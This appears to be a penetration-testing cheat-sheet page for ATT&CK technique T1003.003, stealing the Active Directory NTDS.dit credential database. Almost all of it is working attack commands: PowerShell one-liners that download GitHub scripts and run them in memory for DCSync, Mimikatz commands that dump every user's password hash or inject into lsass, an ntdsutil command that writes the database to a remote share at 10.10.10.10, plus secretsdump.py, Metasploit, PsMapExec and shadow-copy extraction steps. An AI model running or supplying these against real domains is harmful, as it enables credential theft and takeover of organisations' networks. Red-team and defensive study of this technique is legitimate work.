# NTDS
**ATT\&CK ID:** [T1003.003](https://attack.mitre.org/techniques/T1003/003/)
**Permissions Required:** **Administrator** | **SYSTEM**
**Description**
Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in `%SystemRoot%\NTDS\Ntds.dit` of a domain controller.
In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.
## Techniques
### Invoke-DCsync (PentestFactory)
**URL:**
Invoke-DCsync pulls Mimikatz,PowerView and ADRecon from Github into memory and then performs DCSync.
```powershell
# Load into memory
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/pentestfactory/Invoke-DCSync/main/Invoke-DCSync.ps1")
# Execute
Invoke-DCSync
```
### Invoke-DCSync (S3cur3Th1sSh1t)
```powershell
# Load into memory
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Invoke-DCSync.ps1")
# Execute
Invoke-DCSync -dcfqdn DC01.security.local -username administrator
```
### Metasploit
```
use auxiliary/admin/smb/psexec_ntdsgrab
```
`secretsdump.py` can then be used to pull hashes from the `ntds.dit` database using the SYSTEM hive file (ref: secretsdump.py further down).
### Mimikatz
```powershell
# Dump hashes for a specified users
Invoke-Mimikatz -command '"lsadump::dcsync /domain:security.local /user:moe"'
# Dump hashes for all users
Invoke-Mimikatz -command '"lsadump::dcsync /domain:security.local /all"'
# Dump hashes by injecting into the lsass process on the Domain Controller
Invoke-Mimikatz -command '"lsadump::lsa /inject"'
```
### ntdsutil.exe (Native)
With access to the Domain Controller its possible to run the `ntdsutil.exe` native binary to dump SAM, SYSTEM and ntds.dit ready for exfiltration.
```powershell
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\Exfiltration' q q"
# Dump to remote share
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full \\10.10.10.10\Share\Exf' q q"
```
Viewing the contents of `c:\Exfiltration` we see the files.
Secretsdump we can be used against these files for extraction as shown in the `secretsdump.py` section below.
### Secretsdump.py
```bash
# With valid credentials
secretsdump.py security.local/moe:Password123@10.10.10.100 -just-dc-ntlm
```
```bash
# Dump from exfiltrated ntds.dit and SYSTEM files.
sudo secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
```
```bash
# Dump results from ntdsutil.exe method
secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL
```
### PsMapExec
```powershell
# As current user
PsMapExec -Targets DCs -Method SMB -Module NTDS
# As a specified user
PsMapExec -Targets DCs -Method SMB -Module NTDS -Username Administrator -Password Password123!
```
### Volume Shadow Copy
```bash
# Create VSS snapshot of system drive
vssadmin create shadow /for=C:
# create a copy of NTDS.dit and SYSTEM then move to C:\Exfiltration
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\Exfiltration
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\Exfiltration
```
The NTDS.dit and SYSTEM files can be exfiltrated off the system and used with a tool such as `secretsdump.py` for hash extraction.
